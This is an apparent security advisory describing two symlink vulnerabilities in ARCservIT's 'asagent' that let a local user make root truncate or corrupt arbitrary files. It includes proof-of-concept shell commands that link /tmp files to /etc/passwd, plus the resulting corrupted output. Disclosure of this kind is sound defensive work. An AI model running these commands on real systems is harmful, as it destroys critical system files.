ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to overwrite arbitrary files.
When it runs for the first time, 'asagent', opens (and truncates it if it exists) a file in /tmp called 'asagent.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to overwrite critical system files.
As user:
je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp
And root:
root@boxname# /usr/CYEagent/asagent start

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files.
When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to corrupt critical system files.
je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp
And root:
root@boxname# /usr/CYEagent/asagent inet add
Then,
je@boxname~> cat /etc/passwd
asagentd 6051/tcp # ARCserve agent
